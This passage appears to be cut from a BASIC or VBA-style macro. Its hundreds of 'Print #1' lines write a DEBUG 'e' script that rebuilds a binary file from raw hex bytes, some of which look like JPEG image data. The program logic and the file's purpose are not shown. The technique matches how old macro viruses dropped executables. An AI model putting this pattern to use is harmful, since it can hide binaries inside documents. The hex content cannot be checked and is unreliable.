1E00 8B 7B 13 AE A8 FE 1E BB 1E 47 C2 6C 57 AE A4 E6" Print #1, "e 1E10 8E 7C 36 08 D5 35 8F 33 85 69 2B 71 AA EC 0B DD" Print #1, "e 1E20 FE EA E2 36 66 61 2A D4 27 C4 AF 77 1E 6B 33 4A" Print #1, "e 1E30 CA 9A 34 94 EC 4E 35 9F C3 0D 82 B7 B5 BA 76 1A" Print #1, "e 1E40 70 E1 C6 53 2D 78 57 0D 84 50 59 9D 85 AA 01 20" Print #1, "e 1E50 F3 57 CC DE 6A 42 8B F8 05 9A 18 3A AC E4 BC A6" Print #1, "e 1E60 86 E8 B1 0F 30 83 1E 5C D9 E4 9C 2A 99 38 F2 EC" Print #1, "e 1E70 0D 60 B2 2D 75 B8 84 D1 C2 21 61 95 1B 2E 89 A7" Print #1, "e 1E80 43 17 59 5B 8F 6F EF B2 C5 19 DF D5 58 AB A6 B5" Print #1, "e 1E90 AD 71 64 E6 21 35 A0 65 02 00 45 CC 00 4E AB D5" Print #1, "e 1EA0 E1 3F 52 18 A9 BF 4D E1 70 3C D5 5C BA 66 96 B7" Print #1, "e 1EB0 4F E4 9E 5F 4E 9D 4A BA FA 98 B2 EC 9B 5F B3 A7" Print #1, "e 1EC0 4D B3 61 74 FC 43 3B 77 4E 2B 94 1C EF 47 AA E2" Print #1, "e 1ED0 7A 88 55 3F 08 70 61 18 9E 4E E0 F3 4D 35 18 40" Print #1, "e 1EE0 3A 1E 05 4B 08 26 3C D5 D4 54 A6 E9 9B 38 7F 65" Print #1, "e 1EF0 C6 3C 10 EC C1 0A 69 53 24 2C 35 1A 5A 7A EC D4" Print #1, "e 1F00 E2 44 E2 00 0E AB 2D D6 64 30 EB C9 62 7D 8F B7" Print #1, "e 1F10 78 3E F0 5B C5 61 76 CD 16 88 76 B6 56 7B 56 02" Print #1, "e 1F20 E6 9F 35 99 86 A5 3E 6B 23 5A D5 65 AA E8 A5 60" Print #1, "e 1F30 0D A6 C9 E8 99 44 19 8B 93 B2 C9 CE 22 40 12 9A" Print #1, "e 1F40 FE 3E 32 A6 57 92 CA D5 A4 14 43 49 00 EA B3 16" Print #1, "e 1F50 1F 14 E2 EA 43 EE A0 52 BA B9 B7 25 25 6B 75 8C" Print #1, "e 1F60 D1 AA CF 47 69 83 0F 98 FE A8 BF D1 FD 26 AD 37" Print #1, "e 1F70 9D 5A F7 18 53 40 B2 A7 47 08 2A 4B 5B D8 BB 97" Print #1, "e 1F80 02 9A 25 E1 87 7B 0C 2C 19 8B 99 A0 81 F7 D1 36" Print #1, "e 1F90 A3 58 E6 87 37 0E 3C 5A A0 E6 3A 1E 38 84 E7 B9" Print #1, "e 1FA0 ED 27 90 30 9B 83 86 8D 99 58 6B 51 0C C5 F0 1D" Print #1, "e 1FB0 0A 6E 3F 46 A6 7D 1F E3 A6 D3 36 4F 77 FA 75 4D" Print #1, "e 1FC0 D6 97 1A 6E 1C 3A 6C BE CC 6E 68 68 EA 85 C5 D6" Print #1, "e 1FD0 17 09 5F A7 65 D4 06 8D 99 19 4F B5 3F 16 3C DE" Print #1, "e 1FE0 41 0E CE 86 1A 4D D0 07 05 EB 69 B9 BE 5E DA 5D" Print #1, "e 1FF0 B8 6C 50 2D A8 09 E5 B6 E4 04 61 E4 F9 AB AE 28" Print #1, "e 2000 36 AB 89 7B 8E A4 29 A0 F8 77 25 AA 82 ED 93 C9" Print #1, "e 2010 40 B6 DE C9 8E B9 D1 56 69 7B 4D AC 9D 8C B7 01" Print #1, "e 2020 B3 B3 84 4B 4D 95 F6 58 AC AE 59 94 96 98 45 C1" Print #1, "e 2030 91 E2 A4 AD 2C 8B 84 B5 FE 0B B5 04 53 A6 45 FB" Print #1, "e 2040 53 62 13 00 F4 2A 4D F4 87 6E E1 A6 08 70 E6 B1" Print #1, "e 2050 87 B9 EE AA 6C E7 73 F9 48 E0 8B D9 4F D5 16 E2" Print #1, "e 2060 AB 7F 29 41 B4 EA 0C C2 63 91 46 A8 32 0B 22 21" Print #1, "e 2070 61 EC C7 67 32 09 D5 37 13 99 DA 37 AA 06 AF A4" Print #1, "e 2080 86 BB F4 85 06 B5 6F 22 3F B2 6B 8B 1E F2 34 97" Print #1, "e 2090 29 04 B4 72 05 16 7A 3D 36 34 B8 10 4C 28 3B 33" Print #1, "e 20A0 14 5B DA 38 B7 85 D6 F9 5E F1 10 FC 38 07 12 AD" Print #1, "e 20B0 B7 B5 3C 6C 11 2D 6B 47 80 53 2B A2 C2 EA 4D 7B" Print #1, "e 20C0 7F 50 5E B2 93 47 F1 15 2C 35 1B E6 AD 59 C3 C4" Print #1, "e 20D0 29 A5 51 AF FD 94 56 69 69 EE 6A B5 56 DA 08 E0" Print #1, "e 20E0 BA F1 1B 30 83 65 EE F1 78 AB 30 0F 35 39 7C DC" Print #1, "e 20F0 A0 D4 A4 7F 89 35 E4 81 E0 56 6D E5 6D 90 0F 96" Print #1, "e 2100 CB 6C 66 5B B9 B8 88 3A 8F 34 D7 3B 0C F3 5E 90" Print #1, "e 2110 FA 8F 73 2F 20 86 92 3F FB CD 06 36 A1 77 88 8E" Print #1, "e 2120 E5 D4 91 2B 49 2A 26 CB 80 FD CA C1 4F 2F 8A 07" Print #1, "e 2130 D3 0B 98 D7 68 E6 5F 0F D4 AA E5 04 37 79 A7 5F" Print #1, "e 2140 15 4F B5 AC 58 EA 4D C7 44 44 CA ED 31 3A 9D 3A" Print #1, "e 2150 90 F8 69 D1 C9 D5 31 39 CF 7E F1 27 54 3B 38 0D" Print #1, "e 2160 E5 0B 15 37 C7 45 15 C5 BE 66 A1 D9 13 8F E6 0A" Print #1, "e 2170 49 BA 12 EF BF 70 1E 3B 38 95 99 8B 76 3C 17 14" Print #1, "e 2180 05 3B 0D B1 C1 00 10 01 5F 67 37 21 DA CB 9D FB" Print #1, "e 2190 05 2E 40 D4 FB 28 6A 2D AB 76 F5 56 BD 33 BA 7D" Print #1, "e 21A0 8C 8D 93 C5 61 52 D3 FB A1 0D B2 F5 95 5A 3A 04" Print #1, "e 21B0 CB CB 16 BB 5B 52 32 BB 8A B6 DA B8 1C E1 86 E0" Print #1, "e 21C0 1E 5C 42 6B 1D 99 9A 46 22 17 69 BA E6 EE 9A 6E" Print #1, "e 21D0 D4 2C 55 70 D3 AF 3B F0 7F 70 8B 71 62 EB DD 81" Print #1, "e 21E0 B3 10 9C 13 C5 53 68 2C 75 57 0B E1 E0 B2 10 D7" Print #1, "e 21F0 E1 C6 CC 57 0F 09 8E F4 78 75 3A 63 CF 09 E0 9B" Print #1, "e 2200 3F 0C E1 E8 11 8D 50 65 4B 29 45 61 1C 76 40 12" Print #1, "e 2210 BD 7D 48 FD 2D 12 55 99 58 FF 00 18 FE CA 29 02" Print #1, "e 2220 7A 77 70 38 CB 39 2D D5 B9 DC 72 69 75 6C 2E E4" Print #1, "e 2230 47 F9 4E 75 2A A2 67 50 16 1A A2 95 4F A9 9F D4" Print #1, "e 2240 2E CD B8 E8 55 F9 5D 99 AA 2A D2 3D 1C DB 85 25" Print #1, "e 2250 62 77 92 BA 8A 43 C5 E7 45 2F 39 47 34 F6 8E 17" Print #1, "e 2260 1E 3E CB C5 5A C8 98 99 D9 BE 55 9C E4 26 D0 B3" Print #1, "e 2270 1D 80 22 D1 F0 66 0A 36 BE 9C D4 C4 27 05 47 71" Print #1, "e 2280 1C 8A 18 6A 49 E5 0A 95 1E D1 AD A6 38 B8 27 52" Print #1, "e 2290 AF 49 92 39 14 5E EA 56 D2 31 21 89 BA AB 03 F7" Print #1, "e 22A0 D9 98 A8 1C 56 3A AF 6F 80 37 4C A2 08 68 63 71" Print #1, "e 22B0 CC 6A 54 FD 95 3A 8C 7B DE 00 D3 8C 71 0B 0D 38" Print #1, "e 22C0 81 F1 71 2A CA EB 10 DE 58 1D E4 A5 62 F4 97 76" Print #1, "e 22D0 6D E0 D8 CC 7C 96 4A 53 F5 BB FB 2C 22 1A 39 34" Print #1, "e 22E0 47 B7 D7 28 0A 36 31 C3 56 A1 4A AB 3D 53 AD 8B" Print #1, "e 22F0 88 3C D7 64 E2 39 87 73 0B A2 05 FF 00 C2 D4 7E" Print #1, "e 2300 37 0E 7B AD 52 4E 2F E4 14 63 F6 16 16 D9 3E C8" Print #1, "e 2310 F5 EE 1C D6 4F AA 5E DC 4C E1 F3 04 2A 53 A9 4D" Print #1, "e 2320 E4 8D 34 45 8F 10 E1 C1 03 F7 50 78 2E 2B 9E C6" Print #1, "e 2330 36 77 90 A4 5D 39 A2 50 A1 4F 75 EF BB 88 D0 4A" Print #1, "e 2340 70 91 4F B2 39 5A 45 CA 75 2A 22 5B 52 F1 C5 A5" Print #1, "e 2350 45 4C 25 4B 0A F9 C7 22 B2 6B F2 94 61 0F C3 43" Print #1, "e 2360 AA 9D EA 87 87 82 2E 71 97 1E 3D FB EA AF A7 3E" Print #1, "e 2370 FF 00 69 5F 2B 3F 9A 0D A4 DC 14 FF 00 9E C9 D8" Print #1, "e 2380 FF 00 14 13 8D 42 4F 45 73 6F 95 A8 81 96 9F 12" Print #1, "e 2390 14 0B 34 7B 16 3A C1 ED E0 74 28 B2 AB 04 F3 E5" Print #1, "e 23A0 E1 F9 02 D7 D9 C1 12 6F E6 B0 B9 A5 EC 67 1F 94" Print #1, "e 23B0 20 FA 78 27 81 6F 14 29 D4 27 2A B8 B7 3D 9A 40" Print #1, "e 23C0 41 B4 59 7E 81 17 55 17 88 0A 9B F2 C3 B9 2F C3" Print #1, "e 23D0 D9 A2 A1 D7 0C 94 EA 95 A0 3C 69 51 A2 CF 56 50" Print #1, "e 23E0 46 07 F4 59 65 41 71 6B FA E8 A2 BD 21 3F 30 59" Print #1, "e 23F0 48 A8 3F 56 F0 51 EC 6E BE 52 AF A7 3E E0 58 DD" Print #1, "e 2400 75 89 D6 DB 2D 30 76 02 89 2B DD 17 F4 95 06 1A" Print #1, "e 2410 39 0D 87 97 E5 1C FA BB A3 4D B2 AD 75 4D F4 74" Print #1, "e 2420 03 09 F1 D9 34 ED 65 0C 79 CB A3 56 13 4C 63 F9" Print #1, "e 2430 93 4D 36 BB AF 25 85 C1 00 62 75 BF 25 3E 8E 3B" Print #1, "e 2440 47 45 E5 AB 15 1A A0 D4 71 B3 6A 70 41 9E 92 E1" Print #1, "e 2450 5D A7 52 46 EA ED 9A CE CF E9 76 85 61 A8 F9 6B" Print #1, "e 2460 38 F3 51 80 B8 A9 73 6A 37 F7 51 DB 82 39 3D AB" Print #1, "e 2470 2B A0 F4 D1 44 0A 8D E4 A6 1C C3 F2 BB B9 75 3D" Print #1, "e 2480 C1 03 6D D6 5B 1D 98 8D 9A B1 0B 42 C1 62 A4 F7" Print #1, "e 2490 A5 F4 87 99 50 32 B7 93 6D B7 A7 B5 8E E4 ED 89" Print #1, "e 24A0 DB 1B 05 32 22 9E C8 A7 C9 03 E8 AD A8 41 17 80" Print #1, "e 24B0 8F E0 DB 56 A5 70 33 87 08 FD 97 AF 18 5C CC B9" Print #1, "e 24C0 08 05 CB 1B 34 99 82 9C EE CC 07 BC 01 13 A4 20" Print #1, "e 24D0 71 63 04 7C 15 3F CA C4 D7 B0 B2 16 FB 4D 5E 4B" Print #1, "e 24E0 3B E0 72 50 ED 0A C4 D9 3E 05 5D AE 59 D9 75 34" Print #1, "e 24F0 AB 3D BF BA 8A 8F 6B FC A0 A2 59 59 F8 7E 53 7E" Print #1, "e 2500 ED FB 86 F1 DD 18 DA 31 78 28 60 5D 36 13 DD 6A" Print #1, "e 2510 92 F6 FD D6 59 3B 20 2C 23 F2 76 EF 67 79 74 22" Print #1, "e 2520 EA 2C C4 D1 69 52 CA 32 74 BA 2D 68 78 1A 94 D6" Print #1, "e 2530 03 86 04 1C 16 95 57 D2 7D 28 7C 26 1A 6F 29 A5" Print #1, "e 2540 ED 0E 03 80 B2 39 4C 7C 39 B4 44 B1 AF CC 20 CB" Print #1, "e 2550 D0 A5 47 46 DF 44 5E 66 BF A4 9D D1 D5 76 95 E9" Print #1, "e 2560 88 E3 2B 13 5B 0B D5 BA CB 30 BE C9 69 59 9A 25" Print #1, "e 2570 40 67 70 53 A4 25 C5 4B D8 1A 3C 54 1E ED FB B6" Print #1, "e 2580 D9 7D D5 0D 32 35 1D D9 6D 56 85 84 5D 5C A8 1D" Print #1, "e 2590 DD E5 68 3E 05 5F D9 FF 00 B9 AA FA 67 A0 59 AB" Print #1, "e 25A0 63 FA 8C 22 D6 BA 07 E8 29 DF 87 04 53 EB DE 7F" Print #1, "e 25B0 FE CF E8 16 12 D5 84 58 A0 F0 B2 39 D8 74 23 12" Print #1, "e 25C0 96 51 A8 E6 F3 C2 AE DB A6 31 CD 76 19 CD 09 D4" Print #1, "e 25D0 E8 53 0C 6F 21 C5 53 71 91 00 EC 0E 0C 26 99 E8" Print #1, "e 25E0 A0 1B AB AD D7 11 F4 EC BE 8A 29 53 7B 8F 40 B3" Print #1, "e 25F0 34 85 75 14 98 E7 F8 05 47 B4 69 17 EE B5 AF 20" Print #1, "e 2600 81 A5 86 DB ED 90 21 9C D4 05 AD 95 B4 EF 02 D1" Print #1, "e 2610 2D 5B 8B 2C 2B A9 22 56 9D DB FE 51 DF 5F F4 0A" Print #1, "e 2620 59 11 D4 A7 55 AA E6 CF 00 D4 1B C5 36 BD 66 87" Print #1, "e 2630 3C DD 80 F0 EA B0 B8 92 54 B6 FC 93 D8 ED E7 18" Print #1, "e 2640 58 CF 04 D7 8D 10 73 CC 35 A6 7C 56 8E 8D 25 07" Print #1, "e 2650 80 A9 BC 8C EE 13 3C 91 6E 67 46 A5 76 8C 58 AA" Print #1, "e 2660 96 E3 16 6C A8 71 2E 53 CD 53 66 8D 17 71 1C 94" Print #1, "e 2670 00 19 4C 68 D6 A1 87 7D A6 7D 84 3C 07 05 EB 31" Print #1, "e 2680 8F DD 48 05 E7 AA F5 7B 2E 7B E0 E2 8F 05 9A 07" Print #1, "e 2690 D4 56 4B FD 22 57 B9 79 F2 47 D5 B9 68 76 6B B3" Print #1, "e 26A0 AF 82 D4 FD 96 A5 6F 2B CA B3 AF DE CB 46 A1 F2" Print #1, "e 26B0 57 A4 FF 00 B2 B8 21 69 DF 7F D7 FD 02 C3 86 55" Print #1, "e 26C0 98 10 74 87 02 99 87 E4 B2 0D AD B8 4D D7 FB 5F" Print #1, "e 26D0 77 A5 93 47 54 E5 4C CF 3D 80 FC 52 9A 87 CA 1A" Print #1, "e 26E0 AE D6 7D 8A 2D 0F 81 1C 93 DD 50 7A B9 81 D5 5E" Print #1, "e 26F0 9B 27 AD D1 7B 59 80 13 CB 55 53 9C 26 84 23 91" Print #1, "e 2700 9E FC D0 AB 07 93 94 54 69 1E D0 33 11 03 A2 64" Print #1, "e 2710 36 E7 69 35 0E 14 54 ED DE 85 93 13 FE 96 CA 82" Print #1, "e 2720 C2 3C 6C BD F0 FB 2B 56 FF 00 AF F9 53 4D ED 7F" Print #1, "e 2730 8D 96 EB 9A EE 0B 76 3C 56 7A 83 C8 2C D7 F1 59" Print #1, "e 2740 58 02 E1 F6 5A 85 70 0A 33 4D BF 65 BA 02 E2 15" Print #1, "e 2750 AA 15 6A 93 E4 AC 41 42 71 2E CE 9D 86 AA E9 95" Print #1, "e 2760 1E DB 9E AA F4 A5 61 D2 91 DD E9 D1 49 C5 E4 80" Print #1, "e 2770 10 D0 37 5A 98 EA A0 B7 37 10 A2 72 94 C0 C1 68" Print #1, "e 2780 D9 09 A9 AD 79 D7 45 89 EE 74 72 08 E2 0C C5 CA" Print #1, "e 2790 16 09 8B A2 EA 8F 38 4F 25 86 8E EB 32 AC 7D 60" Print #1, "e 27A0 A9 C5 64 4D 31 35 5F 69 3A F7 EC 56 1A AD C4 DE" Print #1, "e 27B0 45 7A A7 76 67 91 D1 48 18 DB CD B7 F6 43 03 4F" Print #1, "e 27C0 8A 69 E5 B3 54 DB 98 D9 91 62 7B E9 53 F0 74 AF" Print #1, "e 27D0 5B E9 3F 60 A6 CF 3F AE EA 29 90 8E 1B 1E 6B 31" Print #1, "e 27E0 5A 29 25 5B EE B2 36 A3 FC 1A AF 4D FE 61 49 59" Print #1, "e 27F0 9C AD 2A E6 07 45 18 8A 8C 48 8D BA 6C 67 D2 14" Print #1, "e 2800 BD B3 1D 54 8A 6D 9E B7 DB 78 21 59 B8 7E 92 54" Print #1, "e 2810 B1 80 1E 68 62 17 E6 A1 B5 5D 0A 71 95 99 C4 EC" Print #1, "e 2820 B8 95 1C 15 B1 0F 35 05 A1 59 61 ED 1D 0A 1B 51" Print #1, "e 2830 C3 CD 66 71 2B 23 88 58 B1 BA 42 20 D4 31 DD F5" Print #1, "e 2840 80 B8 47 38 EE 65 71 5E BA 9B 1F D5 02 C1 00 F0" Print #1, "e 2850 9E F0 6F 34 0B B3 9E AA C2 3B 84 F2 52 B9 05 AA" Print #1, "e 2860 B9 2B 54 08 5A 0D B8 6A 54 2D 01 64 64 9E 65 6B" Print #1, "e 2870 DC BB 47 D9 71 1E 0A CF 29 A6 F2 AE CF DD 65 6C" Print #1, "e 2880 77 3F FF C4 00 28 10 01 00 02 02 02 01 04 01 04" Print #1, "e 2890 03 01 00 00 00 00 00 01 00 11 21 31 41 51 61 10" Print #1, "e 28A0 71 81 91 A1 20 B1 C1 D1 30 E1 F0 F1 FF DA 00 08" Print #1, "e 28B0 01 01 00 01 3F 21 67 52 88 5B 89 5E 35 C8 F6 45" Print #1, "e 28C0 18 87 53 27 70 00 C8 BC CA 45 AB C0 15 1A C1 87" Print #1, "e 28D0 4A 85 FF 00 68 F0 3E 1B 8E E8 43 40 0F 24 62 8B" Print #1, "e 28E0 10 A4 2D 25 73 49 25 B2 BA 1D 12 B9 59 5A 54 B8" Print #1, "e 28F0 09 F5 C9 86 32 59 8F A6 E5 1E 12 EF D0 C3 51 4B" Print #1, "e 2900 C4 BF 52 04 4A AB A8 CE 3E A8 DF A3 89 6B 8B D4" Print #1, "e 2910 8C 37 00 E0 CF 08 7A 15 CA D5 E2 72 54 2C 83 33" Print #1, "e 2920 03 C3 AC CD 1A CC D3 79 51 FA 16 30 79 CA 7E 80" Print #1, "e 2930 4B 30 58 D3 EE 05 46 09 6F 59 26 65 2F EA 31 08" Print #1, "e 2940 B0 E3 FB 45 89 81 CC 2D 26 5A BD 10 91 81 82 63" Print #1, "e 2950 C7 C4 63 EB A7 BE AD 99 30 B7 4E E5 1D 53 B1 2D" Print #1, "e 2960 AE E6 6C ED 53 39 E7 37 B9 45 51 F9 60 86 3E 64" Print #1, "e 2970 C3 DA 87 D4 AD 35 CB 20 FA 64 C4 B8 AF 42 F4 F4" Print #1, "e 2980 15 4A DD 7E 71 E9 46 5E D4 F6 E7 B7 14 EA 79 BD" Print #1, "e 2990 02 E3 C9 1E C9 56 FE 9B C9 01 E6 03 82 78 08 07" Print #1, "e 29A0 08 C8 73 42 10 77 96 64 35 60 DC 40 22 8D 34 51" Print #1, "e 29B0 B6 20 9A A7 19 31 7A 89 88 2E 50 FE 26 3B 8A 78" Print #1, "e 29C0 4A 16 E5 02 41 E0 87 2E CE 7A 7B C6 11 8F 7B 2F" Print #1, "e 29D0 FA 95 03 C3 11 96 03 0A 30 7C 2A 79 96 90 37 80" Print #1, "e 29E0 99 43 A5 53 95 97 2F 43 70 D4 A8 EF B9 5E 6D 0C" Print #1, "e 29F0 CB E5 66 78 30 4A 44 01 94 D1 93 1F DF 28 28 34" Print #1, "e 2A00 30 0F 68 26 8B 32 5D BC 32 91 C9 72 63 5F 99 49" Print #1, "e 2A10 00 E1 95 81 D2 DA D7 C1 CC 60 AE 82 E2 38 7C 78" Print #1, "e 2A20 DB 7B 86 C6 08 D5 78 63 87 A7 F8 25 9C C6 EB 49" Print #1, "e 2A30 42 55 E5 02 B8 16 4E FD 0C D3 0F F1 00 2E A0 FA" Print #1, "e 2A40 FA 25 1F D1 15 B0 9F A9 61 FE 52 B9 9C 08 35 79" Print #1, "e 2A50 43 60 E5 C7 71 C6 6B B8 81 6A 4C C3 11 83 7B D4" Print #1, "e 2A60 21 76 3A 5C 2A 45 5E A2 E4 A6 E0 53 28 A8 17 C2" Print #1, "e 2A70 06 A5 56 4F 99 69 B3 ED 71 D7 89 67 32 DA 8D B6" Print #1, "e 2A80 3F 28 C1 B2 BC 80 96 33 13 E8 62 CF D0 98 36 F0" Print #1, "e 2A90 4E 25 F4 4C 9E 13 68 5D 49 B6 EF 01 2D 60 C1 07" Print #1, "e 2AA0 C2 D1 CC 78 EC 83 DC F9 75 ED 15 4F 32 17 3A 12" Print #1, "e 2AB0 BF 9A 46 35 6A BE AF E2 56 78 07 FC 19 6F 79 72" Print #1, "e 2AC0 AE 63 8E B3 3C 8D 75 12 DA 1A 87 73 F8 99 2E 2B" Print #1, "e 2AD0 F4 8A 94 CA 7A 67 89 83 E9 4E B0 76 CA 19 58 0B" Print #1, "e 2AE0 20 5C 07 B4 CE 5D BE 26 9F D2 25 B1 7C E6 23 CB" Print #1, "e 2AF0 C4 14 75 A8 FA 75 7A 5E F9 78 37 99 6E FD 0F 1C" Print #1, "e 2B00 F0 CF 32 57 CA 78 A5 BA 8C D0 FB 78 8D D9 F2 F3" Print #1, "e 2B10 2C 71 7E 6F D0 17 E1 95 8D B8 4A AC D4 7B 41 78" Print #1, "e 2B20 36 0D DF 68 DC C2 F2 B0 C1 7F D7 30 05 46 00 BB" Print #1, "e 2B30 B8 25 19 D2 2A 57 D8 E5 84 BC CB 06 8C A9 C1 95" Print #1, "e 2B40 B6 55 E6 37 01 57 18 98 A3 55 CC DB 0E 65 26 9B" Print #1, "e 2B50 71 5F 28 10 D3 93 A2 36 6A 8D 16 D7 75 39 48 F8" Print #1, "e 2B60 81 1D 46 34 4D 65 49 B0 F1 89 E5 99 56 A5 A3 8D" Print #1, "e 2B70 C6 27 5A 11 FD FE 22 10 55 F4 40 E3 18 F9 8B 12" Print #1, "e 2B80 B0 2D 2B 4F 98 DE FF 00 94 AB 19 6F 6F E8 AA 84" Print #1, "e 2B90 3A D0 D8 09 5F 11 0A D4 2D 12 B1 55 06 CC 5B E9" Print #1, "e 2BA0 83 6F EA 1F FA 20 B8 83 6A 10 6C 87 DC 31 A1 32" Print #1, "e 2BB0 CC 50 4B A2 0B 7E 86 FD 56 A8 30 FD 05 44 75 0E" Print #1, "e 2BC0 F4 17 1D FA 33 A1 99 4A 44 39 42 E6 3B AF C4 4A" Print #1, "e 2BD0 4D B5 A2 67 BD 70 CE 2F 03 E9 DC A9 BB A5 35 07" Print #1, "e 2BE0 A8 CC 1B BA 5D D1 1A B4 79 11 A7 2C 47 54 DD FA" Print #1, "e 2BF0 0A E5 D3 A8 EB F2 8B 28 67 F1 C5 B8 22 02 5A EC" Print #1, "e 2C00 E6 B8 9E 54 87 A9 94 45 B7 6C F7 62 C4 60 12 67" Print #1, "e 2C10 8F E2 58 CD F1 C3 F9 8F 30 0F 64 E4 15 D3 10 D3" Print #1, "e 2C20 CC BB 30 6F CC AF 03 F3 0C DE 0B 40 E1 6E A3 46" Print #1, "e 2C30 A1 ED 2B 18 34 7B 81 DC 44 17 83 86 A3 A3 66 0A" Print #1, "e 2C40 E2 71 EF 2B B0 F7 62 DC 22 A6 BE 98 D9 16 6A 75" Print #1, "e 2C50 B9 65 10 C0 6A A3 52 D5 C5 56 73 CC EC 11 19 B9" Print #1, "e 2C60 42 E2 07 25 40 5A 7A 96 88 AE 6E 22 1F D4 7F 74" Print #1, "e 2C70 C8 66 1E 83 09 B9 68 38 83 E9 0C B1 8A A6 1A BD" Print #1, "e 2C80 FD 00 B0 80 62 B8 88 C0 AA 05 4D 51 18 4C AC EA" Print #1, "e 2C90 02 8E 60 6B 32 AD D4 26 69 54 92 8B 1A 6D 6E 62" Print #1, "e 2CA0 CF 2A 1D CB 00 3A F4 16 3E 65 2F 8F A1 50 8D 58" Print #1, "e 2CB0 60 4B 2C AE 88 EA 59 E8 2F 9B 9B 94 FC 93 05 FB" Print #1, "e 2CC0 03 31 3F BD 42 66 80 B9 1B A3 F1 C7 9F 54 A1 D3" Print #1, "e 2CD0 37 B4 A9 49 D0 84 A5 AA 7C 73 2B AF 01 91 D4 A5" Print #1, "e 2CE0 8E E3 30 D2 26 82 A8 77 E1 26 3E E8 E1 51 F9 87" Print #1, "e 2CF0 44 A5 CB E6 38 A0 FD CC 9A 3A B4 78 1D 5A A7 BD" Print #1, "e 2D00 72 87 37 52 B1 D4 AC FE 50 C8 68 9C 8F 96 E5 5E" Print #1, "e 2D10 9F 68 99 6E 25 56 E3 02 46 CC BF B9 BC 9B F9 CD" Print #1, "e 2D20 7E 9C 7A 93 69 CC 25 C1 F4 61 16 30 52 C0 03 DB" Print #1, "e 2D30 B9 D6 38 1C AA 9A C5 42 A8 D5 66 33 51 5C 92 F8" Print #1, "e 2D40 7B 75 25 1B 01 F3 84 C2 10 79 FF 00 59 49 F9 22" Print #1, "e 2D50 AE 83 BB 20 6A BF 5C C4 CD 41 41 59 76 97 15 1E" Print #1, "e 2D60 D8 6F A3 2F D8 B7 A2 15 41 76 B3 AF 09 AC E2 8D" Print #1, "e 2D70 A9 7D C2 36 1E 50 56 5C CC 64 0B 06 A6 17 2B 97" Print #1, "e 2D80 31 20 DE 04 2B C9 26 01 E2 30 1D B1 15 BC A9 95" Print #1, "e 2D90 79 23 C6 5C 6C 81 D9 1F F3 B9 66 AD E5 DC 65 55" Print #1, "e 2DA0 81 B0 78 26 78 C6 8C 0F C4 51 EF 87 F2 19 9F 72" Print #1, "e 2DB0 91 F3 59 70 D0 E0 D5 75 96 3E 4A 19 F1 F9 D4 2D" Print #1, "e 2DC0 1A 14 B1 93 DB A9 8A E5 9C 24 B6 F6 63 F7 6A 24" Print #1, "e 2DD0 65 75 6C 33 C3 C2 D4 0A A8 BC C0 B9 7B 81 94 99" Print #1, "e 2DE0 80 79 62 01 54 15 14 E0 E2 16 89 76 41 02 D1 CF" Print #1, "e 2DF0 A5 11 FE 50 81 AD A7 86 64 29 65 5B C4 7A A4 B8" Print #1, "e 2E00 5E 56 03 D0 EB D2 F1 2F F4 2E 1E 8B E9 2D 08 A2" Print #1, "e 2E10 D4 B9 83 0D A1 92 2B 80 F0 42 38 5E 06 63 6E 26" Print #1, "e 2E20 75 E2 08 01 67 3D C1 67 91 F4 D6 0A FF 00 8A 21" Print #1, "e 2E30 7B 07 DA 50 43 56 FC 9E D0 73 EE 8C FD 10 CB FA" Print #1, "e 2E40 49 39 8B 6A 1A 8C 38 E1 E4 5D 4E 5A C4 6B DF D0" Print #1, "e 2E50 46 02 71 17 55 0D 97 A8 94 A4 D5 F5 1D 2C 7C C5" Print #1, "e 2E60 BE 71 3D EC C2 DF E6 11 95 56 F5 4A 5D A7 1D 3F" Print #1, "e 2E70 88 83 FE AA 3A 98 18 6F 77 E4 8F D5 53 13 6B 88" Print #1, "e 2E80 34 0A 18 0F 78 D0 D5 10 59 51 0D 8E F2 7F E2 27" Print #1, "e 2E90 CD E9 42 D0 39 22 78 96 CF E2 71 A8 C0 14 F2 5B" Print #1, "e 2EA0 B4 62 C3 69 B3 DE DE 4F 33 2E 00 CC 83 A3 57 3B" Print #1, "e 2EB0 84 72 3D FF 00 F9 96 F2 33 20 BE D8 44 9F B2 1B" Print #1, "e 2EC0 A3 E3 33 3D 02 A3 E8 65 5C 39 D3 49 9F DA 3B 50" Print #1, "e 2ED0 D9 57 F0 A9 99 37 3E EF DE 5C D9 B9 16 E0 6F 67" Print #1, "e 2EE0 4F 0B 24 4C BC CE B5 6C 89 8A 82 B1 0D 39 4A B1" Print #1, "e 2EF0 61 8E 84 4B 0B B5 53 71 3E D2 82 EF 31 7A 12 E0" Print #1, "e 2F00 C2 5C 20 CD 62 C2 12 F5 45 38 21 97 48 6E 8A 4C" Print #1, "e 2F10 47 82 A0 F0 40 70 6E 72 6F A5 D4 70 7E 54 6B 1F" Print #1, "e 2F20 D5 20 55 0E 41 C7 BC DD F0 D5 66 54 6A 7B 42 18" Print #1, "e 2F30 8A 4A E1 30 B0 B3 A8 39 47 23 F7 77 0D DB C4 76" Print #1, "e 2F40 FA 43 61 7E EA 6B 34 4B A8 38 6B 6C D1 9C 4A 43" Print #1, "e 2F50 E1 04 EF 50 DA E4 F1 2E 16 1E 2A 75 82 89 69 44" Print #1, "e 2F60 E9 55 28 42 5E 41 3F 2C 68 73 6A 50 7B 2E 08 E2" Print #1, "e 2F70 53 C2 2F FA 67 11 A1 2C 66 AE C0 7C DF F7 2C BB" Print #1, "e 2F80 1C A8 3F 69 58 12 F2 A0 C8 F5 2B 16 0A AE 13 E7" Print #1, "e 2F90 F8 97 D8 29 42 56 31 65 44 E4 16 D3 EC BA 20 D0" Print #1, "e 2FA0 CB 16 C9 72 44 BC 04 51 7F 05 CC 4B 99 01 32 7B" Print #1, "e 2FB0 19 DC 53 AF DB 2D F0 1D 7C 44 63 6C F0 87 76 FE" Print #1, "e 2FC0 25 8D CA 0C E1 74 46 16 0C 9C A0 AD 0E 52 B2 7A" Print #1, "e 2FD0 B5 1C E3 37 0C A0 DF DC 03 64 65 25 3E 26 5B 02" Print #1, "e 2FE0 B1 71 AE E0 60 04 01 AF BC E1 95 D4 CF 2E 1F 72" Print #1, "e 2FF0 F2 A5 4A 99 99 84 59 8F 1E 81 14 1C B0 C7 51 1D" Print #1, "e 3000 0B A7 06 A3 AB B9 61 B8 75 81 0E A5 8C 34 A0 BE" Print #1, "e 3010 D3 1B 47 97 89 7D 72 30 2E E6 94 88 B4 DF 23 33" Print #1, "e 3020 89 8D 87 23 D4 52 CA 9C 91 F2 B6 FA 3C E4 82 08" Print #1, "e 3030 82 B0 5F 33 81 99 0A 7D 0C 4B 99 CC F1 B1 CC 2E" Print #1, "e 3040 75 72 87 96 09 B3 